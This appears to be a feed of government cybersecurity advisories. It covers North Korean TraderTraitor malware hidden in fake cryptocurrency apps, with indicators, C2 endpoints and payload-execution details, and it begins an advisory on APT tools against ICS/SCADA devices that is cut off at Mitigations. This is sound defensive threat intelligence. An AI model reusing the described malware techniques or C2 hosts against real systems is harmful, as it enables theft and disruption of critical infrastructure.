This document was developed by U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

REFERENCES

[1] Cybersecurity and Infrastructure Security Agency
[2] Federal Bureau of Investigation
[3] National Security Agency
[4] Australian Cyber Security Centre
[5] Canadian Centre for Cyber Security
[6] New Zealand's National Cyber Security Centre
[7] United Kingdom's National Cyber Security Centre
[8] United Kingdom's National Crime Agency
[9] U.S. DOJ Press Release: U.S. Charges Russian FSB Officers and Their Criminal Conspirators for Hacking Yahoo and Millions of Email Accounts
[10] U.S. DOJ Press Release: Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide
[11] CrowdStrike Blog: Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign
[12] U.S. White House Statement: FACT SHEET: Imposing Costs for Harmful Foreign Activities by the Russian
[
13] Government of Canada Statement on SolarWinds Cyber Compromise
[14] UK Government Press Release: Russia: UK and US expose global campaign of malign activity by Russian intelligence services
[15] MITRE ATT&CK: APT29
[
16] Joint CSA Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware
[17] Joint CSA Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments
[18] MITRE ATT&CK APT28
[19] Joint CSA New Sandworm Malware Cyclops Blink Replaces VPNFilter
[20] UK Government Press Release: UK condemns Russia's GRU over Georgia cyber-attacks
[21] U.S. Department of State, Press Statement: The United States Condemns Russian Cyber Attack Against the Country of Georgia
[22] Government of Canada CSE Statement on Malicious Russian Cyber Activity Targeting Georgia
[23] UK Government Press Release: UK condemns Russia's GRU over Georgia cyber-attacks
[24] MITRE ATT&CK The Sandworm Team
[25] U.S. Department of the Treasury Press Release: Treasury Sanctions Russian Government Research Institution Connected to the Triton Malware
[26] UK Government Press Release: UK exposes Russian spy agency behind cyber incident
[27] U.S. DOJ Press Release: Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide
[28] MITRE ATT&CK TEMP.Veles
[29] NSA and NCSC-UK Cybersecurity Advisory Turla Group Exploits Iranian APT To Expand Coverage Of Victims
[30] CrowdStrike Adversary Profile: VENEMOUS BEAR
[31] KELA Cybersecurity Intelligence Center: Ain’t No Actor Trustworthy Enough: The importance of validating sources
[32] Twitter: Valery Marchive Status, Feb. 25, 2022 1:41 PM
[33] The Record by Recorded Future: Russia or Ukraine: Hacking Groups Take Sides
[34] Twitter: CyberKnow Status, March 29, 2022, 7:54 AM
[35] CrowdStrike Blog: Who is Salty Spider (Sality)?
[36] Proofpoint Blog: New Year, New Version of DanaBot
[37] Zscaler Blog: Spike in DanaBot Malware Activity
[38] Proofpoint Blog: New Year, New Version of DanaBot
[39] The Record by Recorded Future: Russia or Ukraine: Hacking Groups Take Sides
[40] TechTarget: Conti ransomware gang backs Russia, threatens US
[41] The Record by Recorded Future: Russia or Ukraine: Hacking Groups Take Sides

ACKNOWLEDGEMENTS

The U.S., Australian, Canadian, New Zealand, and UK cyber authorities would like to thank CrowdStrike, Google, LookingGlass Cyber, Mandiant, Microsoft, and Secureworks for their contributions to this CSA.

Contact Information

U.S. organizations: to report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact the Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov. Australian organizations: visit cyber.gov.au/acsc/report or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca. New Zealand organizations: report cyber security incidents to ncscincidents@ncsc.govt.nz or call 04 498 7654. United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Revisions
  • April 20, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-108A: TraderTraitor: North Korean State-Sponsored APT Targets Blockchain Companies

US-CERT Alerts - Mon, 04/18/2022 - 14:38
Original release date: April 18, 2022
Summary

Actions to take today to mitigate cyber threats to cryptocurrency:
Patch all systems.
• Prioritize patching known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Use multifactor authentication.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the U.S. Treasury Department (Treasury) are issuing this joint Cybersecurity Advisory (CSA) to highlight the cyber threat associated with cryptocurrency thefts and tactics used by a North Korean state-sponsored advanced persistent threat (APT) group since at least 2020. This group is commonly tracked by the cybersecurity industry as Lazarus Group, APT38, BlueNoroff, and Stardust Chollima. For more information on North Korean state-sponsored malicious cyber activity, visit https://www.us-cert.cisa.gov/northkorea.

The U.S. government has observed North Korean cyber actors targeting a variety of organizations in the blockchain technology and cryptocurrency industry, including cryptocurrency exchanges, decentralized finance (DeFi) protocols, play-to-earn cryptocurrency video games, cryptocurrency trading companies, venture capital funds investing in cryptocurrency, and individual holders of large amounts of cryptocurrency or valuable non-fungible tokens (NFTs). The activity described in this advisory involves social engineering of victims using a variety of communication platforms to encourage individuals to download trojanized cryptocurrency applications on Windows or macOS operating systems. The cyber actors then use the applications to gain access to the victim’s computer, propagate malware across the victim’s network environment, and steal private keys or exploit other security gaps. These activities enable additional follow-on activities that initiate fraudulent blockchain transactions.

The U.S. government previously published an advisory about North Korean state-sponsored cyber actors using AppleJeus malware to steal cryptocurrency: AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. The U.S. government has also previously published advisories about North Korean state-sponsored cyber actors stealing money from banks using custom malware:

This advisory provides information on tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to stakeholders in the blockchain technology and cryptocurrency industry to help them identify and mitigate cyber threats against cryptocurrency. 

Click here for a PDF version of this report. 

Technical DetailsThreat Update

The U.S. government has identified a group of North Korean state-sponsored malicious cyber actors using tactics similar to the previously identified Lazarus Group (see AppleJeus: Analysis of North Korea’s Cryptocurrency Malware). The Lazarus Group used AppleJeus trojanized cryptocurrency applications targeting individuals and companies—including cryptocurrency exchanges and financial services companies—through the dissemination of cryptocurrency trading applications that were modified to include malware that facilitates theft of cryptocurrency. As of April 2022, North Korea’s Lazarus Group actors have targeted various firms, entities, and exchanges in the blockchain and cryptocurrency industry using spearphishing campaigns and malware to steal cryptocurrency. These actors will likely continue exploiting vulnerabilities of cryptocurrency technology firms, gaming companies, and exchanges to generate and launder funds to support the North Korean regime. 

Tactics, Techniques and Procedures

Intrusions begin with a large number of spearphishing messages sent to employees of cryptocurrency companies—often working in system administration or software development/IT operations (DevOps)—on a variety of communication platforms. The messages often mimic a recruitment effort and offer high-paying jobs to entice the recipients to download malware-laced cryptocurrency applications, which the U.S. government refers to as "TraderTraitor."

The term TraderTraitor describes a series of malicious applications written using cross-platform JavaScript code with the Node.js runtime environment using the Electron framework. The malicious applications are derived from a variety of open-source projects and purport to be cryptocurrency trading or price prediction tools. TraderTraitor campaigns feature websites with modern design advertising the alleged features of the applications (see figure 1).

 

Figure 1: Screenshot of CryptAIS website

The JavaScript code providing the core functions of the software is bundled with Webpack. Within the code is a function that purports to be an “update,” with a name such as UpdateCheckSync(), that downloads and executes a malicious payload (see figure 2). 

The update function makes an HTTP POST request to a PHP script hosted on the TraderTraitor project’s domain at either the endpoint /update/ or /oath/checkupdate.php. In recent variants, the server’s response is parsed as a JSON document with a key-value pair, where the key is used as an AES 256 encryption key in Cipher Block Chaining (CBC) or Counter (CTR) mode to decrypt the value. The decrypted data is written as a file to the system’s temporary directory, as provided by the os.tmpdir() method of Node.js, and executed using the child_process.exec() method of Node.js, which spawns a shell as a child process of the current Electron application. The text “Update Finished” is then logged to the shell for the user to see.

Observed payloads include updated macOS and Windows variants of Manuscrypt, a custom remote access trojan (RAT), that collects system information and has the ability to execute arbitrary commands and download additional payloads (see North Korean Remote Access Tool: COPPERHEDGE). Post-compromise activity is tailored specifically to the victim’s environment and at times has been completed within a week of the initial intrusion.  

 

Figure 2: Screenshot depicting the UpdateCheckSync() and supporting functions bundled within 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 associated with DAFOM

Indicators of Compromise

DAFOM
DAFOM purports to be a “cryptocurrency portfolio application.” A Mach-O binary packaged within the Electron application was signed by an Apple digital signature issued for the Apple Developer Team W58CYKFH67. The certificate associated with Apple Developer Team W58CYKFH67 has been revoked. A metadata file packaged in the DAFOM application provided the URL hxxps://github[.]com/dafomdev for bug reports. As of April 2022, this page was unavailable.

 

dafom[.]dev

Information as of February 2022:
IP Address: 45.14.227[.]58
Registrar: NameCheap, Inc.
Created: February 7, 2022
Expires: February 7, 2023

 

60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18

Tags: dropper macos
Name: DAFOM-1.0.0.dmg
Size: 87.91 MB (92182575 bytes)
MD5: c2ea5011a91cd59d0396eb4fa8da7d21
SHA-1: b2d9ca7b6d1bbbe4864ea11dfca343b7e15597d8
SHA-256: 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18
ssdeep: 1572864:LGLBnolF9kPEiKOabR2QEs1B1/LuUQrbecE6Xwijkca/pzpfaLtIP:LGVnoT9kPZK9tVEwBxWbecR5Faxzpf0M

 

TokenAIS
TokenAIS purports to help “build a portfolio of AI-based trading” for cryptocurrencies. Mach-O binaries packaged within the Electron application contained an Apple digital signature issued for the Apple Developer Team RN4BTXA4SA. The certificate associated with Apple Developer Team RN4BTXA4SA has been revoked. The application requires users to “register” an account by entering an email address and a password to use its features. The malicious TraderTraitor code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is bundled in a file called renderer.prod.js, which is in an archive called app.asar. This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CBC mode with the hardcoded initialization vector (IV) !@34QWer%^78TYui and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell.

 

tokenais[.]com

Information as of January 2022:
IP Address: 199.188.103[.]115
Registrar: NameCheap, Inc.
Created: January 27, 2022
Expires: January 27, 2023

 

5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03

Tags: dropper macos
Name: TokenAIS.app.zip
Size: 118.00 MB (123728267 bytes)
MD5: 930f6f729e5c4d5fb52189338e549e5e
SHA-1: 8e67006585e49f51db96604487138e688df732d3
SHA-256: 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03
ssdeep: 3145728:aMFJlKVvw4+zLruAsHrmo5Vvw4+zLruAsHrmob0dC/E:aUlKtw4+/r2HNtw4+/r2HnMCM

 

CryptAIS
CryptAIS uses the same language as TokenAIS to advertise that it “helps build a portfolio of AI-based trading.” It is distributed as an Apple Disk Image (DMG) file that is digitally signed by an Apple digital signature issued for the Apple Developer Team CMHD64V5R8. The certificate associated with Apple Developer Team CMHD64V5R8 has been revoked. The application requires users to “register” an account by entering an email address and a password to use its features. The malicious TraderTraitor code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is bundled in a file called renderer.prod.js, which is in an archive called app.asar. This function passes the email address that the user provided and the system platform to the C2 server, decrypts the response using AES 256 in CTR mode and a key provided in the response, then writes the decrypted data to a file and executes it in a new shell.

 

cryptais[.]com

Information as of August 2021:
IP Address: 82.102.31.14
Registrar: NameCheap, Inc.
Created: August 2, 2021
Expires: August 2, 2022

 

f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b

Tags: dropper macos
Name: CryptAIS[.]dmg
Size: 80.36 MB (84259810 bytes)
MD5: 4e5ebbecd22c939f0edf1d16d68e8490
SHA-1: f1606d4d374d7e2ba756bdd4df9b780748f6dc98
SHA-256: f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b
ssdeep: 1572864:jx9QOwiLDCUrJXsKMoGTwiCcKFI8jmrvGqjL2hX6QklBmrZgkZjMz+dPSpR0Xcpk:F9QOTPCUrdsKEw3coIg2Or6XBmrZgkZw

 

AlticGO
AlticGO was observed packaged as Nullsoft Scriptable Install System (NSIS) Windows executables that extracted an Electron application packaged for Windows. These executables contain a simpler version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js, which is bundled in renderer.prod.js, which is in the app.asar archive. The function calls an external function located in a file node_modules/request/index.js bundled in renderer.prod.js to make an HTTP request to hxxps://www.alticgo[.]com/update/. One AlticGO sample, e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad, instead contacts hxxps://www.esilet[.]com/update/ (see below for more information about Esilet). Some image resources bundled with the application included the CreAI Deck logo (see below for more information about CreAI Deck). The response is written to disk and executed in a new shell using the child_process.exec() method in Node.js. Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload.

 

alticgo[.]com

Information as of August 2020:
IP Address: 108.170.55[.]202
Registrar: NetEarth One Inc.
Created: August 8, 2020
Expires: August 8, 2021

 

765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819

Tags: dropper peexe nsis
Name: AlticGO.exe
Size: 43.54 MB (45656474 bytes)
MD5: 1c7d0ae1c4d2c0b70f75eab856327956
SHA-1: f3263451f8988a9b02268f0fb6893f7c41b906d9
SHA-256: 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819
ssdeep: 786432:optZmVDkD1mZ1FggTqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yVPUXi7:opzKDginspAU6JXnJ46X+eC6cySihWVX
Compilation timestamp: 2018-12-15 22:26:14 UTC

 

e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad

Tags: dropper peexe nsis
Name: AlticGO_R.exe
Size: 44.58 MB (46745505 bytes)
MD5: 855b2f4c910602f895ee3c94118e979a
SHA-1: ff17bd5abe9f4939918f27afbe0072c18df6db37
SHA-256: e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad
ssdeep: 786432:LptZmVDkD1mQIiXUBkRbWGtqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yH:LpzKDgzRpWGwpAU6JXnJ46X+eC6cySiI
Compilation timestamp: 2020-02-12 16:15:17 UTC

 

8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925

Tags: dropper peexe nsis
Name: AlticGO.exe
Size: 44.58 MB (46745644 bytes)
MD5: 9a6307362e3331459d350a201ad66cd9
SHA-1: 3f2c1e60b5fac4cf1013e3e1fc688be490d71a84
SHA-256: 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925
ssdeep: 786432:AptZmVDkD1mjPNDeuxOTKQqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yV7:ApzKDgqPxeuLpAU6JXnJ46X+eC6cySiG
Compilation timestamp: 2020-02-12 16:15:17 UTC

 

Esilet
Esilet claims to offer live cryptocurrency prices and price predictions. It contains a simpler version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js, which is bundled in renderer.prod.js, which is in the app.asar archive. The function calls an external function located in a file node_modules/request/index.js bundled in renderer.prod.js to make an HTTP request to hxxps://www.esilet[.]com/update/. The response is written to disk and executed in a new shell using the child_process.exec() method in Node.js. Unlike newer versions of TraderTraitor, there is no mechanism to decrypt a payload. Esilet has been observed delivering payloads of at least two different macOS variants of Manuscrypt, 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa and dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156. 

 

Figure 3: Screenshot of the UpdateCheckSync() function in Esilet

esilet[.]com

Information as of June 2020:
IP Address: 104.168.98[.]156
Registrar: NameSilo, LLC
Created: June 12, 2020
Expires: June 12, 2021

 

greenvideo[.]nl

Likely legitimate but compromised. Information as of April 2022:
IP Address: 62.84.240[.]140
Registrar: Flexwebhosting
Created: February 26, 2018
Expires: Unknown

 

dafnefonseca[.]com

Likely legitimate but compromised. Information as of June 2020:
IP Address: 151.101.64[.]119
Registrar: PublicDomainRegistry Created: August 27, 2019
Expires: August 27, 2022

 

haciendadeclarevot[.]com

Likely legitimate but compromised. Information as of June 2020:
IP Address: 185.66.41[.]17
Registrar: cdmon, 10DENCEHISPAHARD, S.L.
Created: March 2, 2005
Expires: March 2, 2023

 

sche-eg[.]org

Likely legitimate but compromised. Information as of June 2020:
IP Address: 160.153.235[.]20
Registrar: GoDaddy.com, LLC
Created: June 1, 2019
Expires: June 1, 2022

 

www.vinoymas[.]ch

Likely legitimate but compromised. Information as of June 2020:
IP Address: 46.16.62[.]238
Registrar: cdmon, 10DENCEHISPAHARD, S.L.
Created: January 24, 2010
Expires: Unknown

 

infodigitalnew[.]com

Likely legitimate but compromised. Information as of June 2020:
IP Address: 107.154.160[.]132
Registrar: PublicDomainRegistry
Created: June 20, 2020
Expires: June 20, 2022

 

9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598

Tags: dropper macos
Name: Esilet.dmg
Size: 77.90 MB (81688694 bytes) MD5: 53d9af8829a9c7f6f177178885901c01
SHA-1: ae9f4e39c576555faadee136c6c3b2d358ad90b9 SHA-256: 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598
ssdeep: 1572864:lffyoUnp5xmHVUTd+GgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHo+BPj9CYEshLqcuAX0I0

 

9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa

Tags: trojan macho
Name: Esilet-tmpzpsb3
Size: 510.37 KB (522620 bytes)
MD5: 1ca31319721740ecb79f4b9ee74cd9b0
SHA-1: 41f855b54bf3db621b340b7c59722fb493ba39a5 SHA-256: 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa
ssdeep: 6144:wAulcT94T94T97zDj1I/BkjhkbjZ8bZ87ZMSj71obV/7NobNo7NZTb7hMT5ETZ8I:wDskT1UBg2lirFbpR9mJGpmN C2 Endpoints:

  • hxxps://greenvideo[.]nl/wp-content/themes/top.php
  • hxxps://dafnefonseca[.]com/wp-content/themes/top.php
  • hxxps://haciendadeclarevot[.]com/wp-content/top.php

 

dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156

Tags: trojan macho
Name: Esilet-tmpg7lpp Size: 38.24 KB (39156 bytes)
MD5: 9578c2be6437dcc8517e78a5de1fa975
SHA-1: d2a77c31c3e169bec655068e96cf4e7fc52e77b8
SHA-256: dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156
ssdeep: 384:sdaWs0fDTmKnY4FPk6hTyQUitnI/kmCgr7lUryESll4yg9RpEwrUifJ8ttJOdy:sdayCkY4Fei9mhy/L9RBrny6y

C2 Endpoints: 

  • hxxps://sche-eg[.]org/plugins/top.php
  • hxxps://www.vinoymas[.]ch/wp-content/plugins/top.php
  • hxxps://infodigitalnew[.]com/wp-content/plugins/top.php

 

CreAI Deck
CreAI Deck claims to be a platform for “artificial intelligence and deep learning.” No droppers for it were identified, but the filenames of the below samples, win32.bin and darwin64.bin, match the naming conventions used by other versions of TraderTraitor when downloading a payload. Both are samples of Manuscrypt that contact hxxps://aideck[.]net/board.php for C2 using HTTP POST requests with multipart/form-data Content-Types.

 

creaideck[.]com

Information as of March 2020:
IP Address: 38.132.124[.]161
Registrar: NameCheap, Inc.
Created: March 9, 2020
Expires: March 9, 2021

 

aideck[.]net

Information as of June 2020:
IP Address: 89.45.4[.]151
Registrar: NameCheap, Inc.
Created: June 22, 2020
Expires: June 22, 2021

 

867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36

Tags: trojan peexe
Name: win32.bin
Size: 2.10 MB (2198684 bytes)
MD5: 5d43baf1c9e9e3a939e5defd8f8fbd8d
SHA-1: d5ff73c043f3bb75dd749636307500b60a436550 SHA-256: 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36
ssdeep: 24576:y3SY+/2M3BMr7cdgSLBjbr4nzzy95VV7cEXV:ESZ2ESrHSV3D95oA
Compilation timestamp: 2020-06-23 06:06:35 UTC

 

89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957

Tags: trojan macho
Name: darwin64.bin
Size: 6.44 MB (6757832 bytes)
MD5: 8397ea747d2ab50da4f876a36d673272
SHA-1: 48a6d5141e25b6c63ad8da20b954b56afe589031
SHA-256: 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957
ssdeep: 49152:KIH1kEh7zIXlDYwVhb26hRKtRwwfs62sRAdNhEJNDvOL3OXl5zpF+FqBNihzTvff:KIH1kEhI1LOJtm2spB

Mitigations

North Korean state-sponsored cyber actors use a full array of tactics and techniques to exploit computer networks of interest, acquire sensitive cryptocurrency-intellectual property, and gain financial assets. The U.S. government recommends implementing mitigations to protect critical infrastructure organizations as well as financial sector organizations in the blockchain technology and cryptocurrency industry.

  • Apply defense-in-depth security strategy. Apply security principles—such as least access models and defense-in-depth—to user and application privileges to help prevent exploitation attempts from being successful. Use network segmentation to separate networks into zones based on roles and requirements. Separate network zones can help prevent lateral movement throughout the organization and limit the attack surface. See NSA’s Top Ten Cybersecurity Mitigation Strategies for strategies enterprise organizations should use to build a defense-in-depth security posture. 
  • Implement patch management. Initial and follow-on exploitation involves leveraging common vulnerabilities and exposures (CVEs) to gain access to a networked environment. Organizations should have a timely vulnerability and patch management program in place to mitigate exposure to critical CVEs. Prioritize patching of internet-facing devices and monitored accordingly for any malicious logic attacks. 
  • Enforce credential requirements and multifactor authentication. North Korean malicious cyber actors continuously target user credentials, email, social media, and private business accounts. Organizations should ensure users change passwords regularly to reduce the impact of password spraying and other brute force techniques. The U.S. government recommends organizations implement and enforce multifactor authentication (MFA) to reduce the risk of credential theft. Be aware of MFA interception techniques for some MFA implementations and monitor for anomalous logins.
  • Educate users on social engineering on social media and spearphishing. North Korean actors rely heavily on social engineering, leveraging email and social media platforms to build trust and send malicious documents to unsuspecting users. A cybersecurity aware workforce is one of the best defenses against social engineering techniques like phishing. User training should include how to identify social engineering techniques and awareness to only open links and attachments from trusted senders.
  • Implement email and domain mitigations. Maintain awareness of themed emails surrounding current events. Malicious cyber actors use current events as lure for potential victims as observed during the COVID-19 pandemic. Organizations should have a robust domain security solution that includes leveraging reputation checks and closely monitoring or blocking newly registered domains (NRDs) in enterprise traffic. NRDs are commonly established by threat actors prior to malicious engagement.
    • HTML and email scanning. Organizations should disable HTML from being used in emails and scan email attachments. Embedded scripts may be hard for an antivirus product to detect if they are fragmented. An additional malware scanning interface product can be integrated to combine potentially malicious payloads and send the payload to the primary antivirus product. Hyperlinks in emails should also be scanned and opened with precautionary measures to reduce the likelihood of a user clicking on a malicious link.
  • Endpoint protection. Although network security is critical, devices mobility often means traveling and connecting to multiple different networks that offer varying levels of security. To reduce the risk of introducing exposed hosts to critical networks, organizations should ensure mobile devices have installed security suites to detect and mitigate malware. 
  • Enforce application security. Application allowlisting enables the organization to monitor programs and only allow those on the approved allowlist to execute. Allowlisting helps to stop the initial attack, even if the user clicks a malicious link or opens a malicious attachment. Implement baseline rule sets, such as NSA’s Limiting Location Data Exposure guidance, to block execution of unauthorized or malicious programs.
    • Disable macros in office products. Macros are a common method for executing code through an attached office document. Some office products allow for the disabling of macros that originate from outside of the organization, providing a hybrid approach when the organization depends on the legitimate use of macros.
      • Windows specific settings can be configured to block internet-originated macros from running. This can be done in the Group Policy Administrative Templates for each of the associated Office products (specifically Word, Excel and PowerPoint). Other productivity software, such as LibreOffice and OpenOffice, can be configured to set the Macro Security Level.
  • Be aware of third-party downloads—especially cryptocurrency applications. North Korean actors have been increasingly active with currency generation operations. Users should always verify file downloads and ensure the source is from a reputable or primary (preferred) source and not from a third-party vendor. Malicious cyber actors have continuously demonstrated the ability to trojanize applications and gain a foothold on host devices.
  • Create an incident response plan to respond to possible cyber intrusions. The plan should include reporting incidents to both the FBI and CISA—quick reporting can reduce the severity of incidents and provide valuable information to investigators. Contact information can be found below. 
Contact 

All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI’s 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov.

Disclaimer

The information in this advisory is provided "as is" for informational purposes only. The FBI, CISA, and Treasury do not provide any warranties of any kind regarding this information or endorse any commercial product or service, including any subjects of analysis.
 

Revisions
  • Initial Version: April 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Categories: LATEST ALERT

AA22-103A: APT Cyber Tools Targeting ICS/SCADA Devices

US-CERT Alerts - Wed, 04/13/2022 - 18:00
Original release date: April 13, 2022
Summary

Actions to Take Today to Protect ICS/SCADA Devices:
• Enforce multifactor authentication for all remote access to ICS networks and devices whenever possible.
• Change all passwords to ICS/SCADA devices and systems on a consistent schedule, especially all default passwords, to device-unique strong passwords to mitigate password brute force attacks and to give defender monitoring systems opportunities to detect common attacks.
• Leverage a properly installed continuous OT monitoring solution to log and alert on malicious indicators and behaviors.

The Department of Energy (DOE), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), and the Federal Bureau of Investigation (FBI) are releasing this joint Cybersecurity Advisory (CSA) to warn that certain advanced persistent threat (APT) actors have exhibited the capability to gain full system access to multiple industrial control system (ICS)/supervisory control and data acquisition (SCADA) devices, including:

  • Schneider Electric programmable logic controllers (PLCs),
  • OMRON Sysmac NEX PLCs, and
  • Open Platform Communications Unified Architecture (OPC UA) servers.

The APT actors have developed custom-made tools for targeting ICS/SCADA devices. The tools enable them to scan for, compromise, and control affected devices once they have established initial access to the operational technology (OT) network. Additionally, the actors can compromise Windows-based engineering workstations, which may be present in information technology (IT) or OT environments, using an exploit that compromises an ASRock motherboard driver with known vulnerabilities. By compromising and maintaining full system access to ICS/SCADA devices, APT actors could elevate privileges, move laterally within an OT environment, and disrupt critical devices or functions.

DOE, CISA, NSA, and the FBI urge critical infrastructure organizations, especially Energy Sector organizations, to implement the detection and mitigation recommendations provided in this CSA to detect potential malicious APT activity and harden their ICS/SCADA devices. 

Click here for a PDF version of this report. 

Technical Details

APT actors have developed custom-made tools that, once they have established initial access in an OT network, enables them to scan for, compromise, and control certain ICS/SCADA devices, including the following:

  • Schneider Electric MODICON and MODICON Nano PLCs, including (but may not be limited to) TM251, TM241, M258, M238, LMC058, and LMC078;
  • OMRON Sysmac NJ and NX PLCs, including (but may not be limited to) NEX NX1P2, NX-SL3300, NX-ECC203, NJ501-1300, S8VK, and R88D-1SN10F-ECT; and 
  • OPC Unified Architecture (OPC UA) servers.  

The APT actors’ tools have a modular architecture and enable cyber actors to conduct highly automated exploits against targeted devices. The tools have a virtual console with a command interface that mirrors the interface of the targeted ICS/SCADA device. Modules interact with targeted devices, enabling operations by lower-skilled cyber actors to emulate higher-skilled actor capabilities.

The APT actors can leverage the modules to scan for targeted devices, conduct reconnaissance on device details, upload malicious configuration/code to the targeted device, back up or restore device contents, and modify device parameters. 

In addition, the APT actors can use a tool that installs and exploits a known-vulnerable ASRock-signed motherboard driver, AsrDrv103.sys, exploiting CVE-2020-15368 to execute malicious code in the Windows kernel. Successful deployment of this tool can allow APT actors to move laterally within an IT or OT environment and disrupt critical devices or functions.

APT Tool for Schneider Electric Devices  

The APT actors’ tool for Schneider Electric devices has modules that interact via normal management protocols and Modbus (TCP 502). Modules may allow cyber actors to:

  • Run a rapid scan that identifies all Schneider PLCs on the local network via User Datagram Protocol (UDP) multicast with a destination port of 27127 (Note: UDP 27127 is a standard discovery scan used by engineering workstations to discover PLCs and may not be indicative of malicious activity);
  • Brute-force Schneider Electric PLC passwords using CODESYS and other available device protocols via UDP port 1740 against defaults or a dictionary word list (Note: this capability may work against other CODESYS-based devices depending on individual design and function, and this report will be updated as more information becomes available); 
  • Conduct a denial-of-service attack to prevent network communications from reaching the PLC;
  • Sever connections, requiring users to re-authenticate to the PLC, likely to facilitate capture of credentials; 
  • Conduct a ‘packet of death’ attack to crash the PLC until a power cycle and configuration recovery is conducted; and 
  • Send custom Modbus commands (Note: this capability may work against Modbus other than in Schneider Electric PLCs).

Refer to the appendix for tactics, techniques, and procedures (TTPs) associated with this tool.

APT Tool for OMRON 

The APT actors’ tool for OMRON devices has modules that can interact by:

  • Scanning for OMRON using (Factory Interface Network Service (FINS) protocol;
  • Parsing the Hypertext Transfer Protocol (HTTP) response from OMRON devices;
  • Retrieving the media access control (MAC) address of the device;
  • Polling for specific devices connected to the PLC;
  • Backing up/restoring arbitrary files to/from the PLC; and
  • Loading a custom malicious agent on OMRON PLCs for additional attacker-directed capability.

Additionally, the OMRON modules can upload an agent that allows a cyber actor to connect and initiate commands—such as file manipulation, packet captures, and code execution—via HTTP and/or Hypertext Transfer Protocol Secure (HTTPS). 

Refer to the appendix for TTPs associated with this tool.

APT Tool for OPC UA 

The APT actors’ tool for OPC UA has modules with basic functionality to identify OPC UA servers and to connect to an OPC UA server using default or previously compromised credentials. The client can read the OPC UA structure from the server and potentially write tag values available via OPC UA.

Refer to the appendix for TTPs associated with this tool.

Mitigations

Note: these mitigations are provided to enable network defenders to begin efforts to protect systems and devices from new capabilities. They have not been verified against every environment and should be tested prior to implementing.

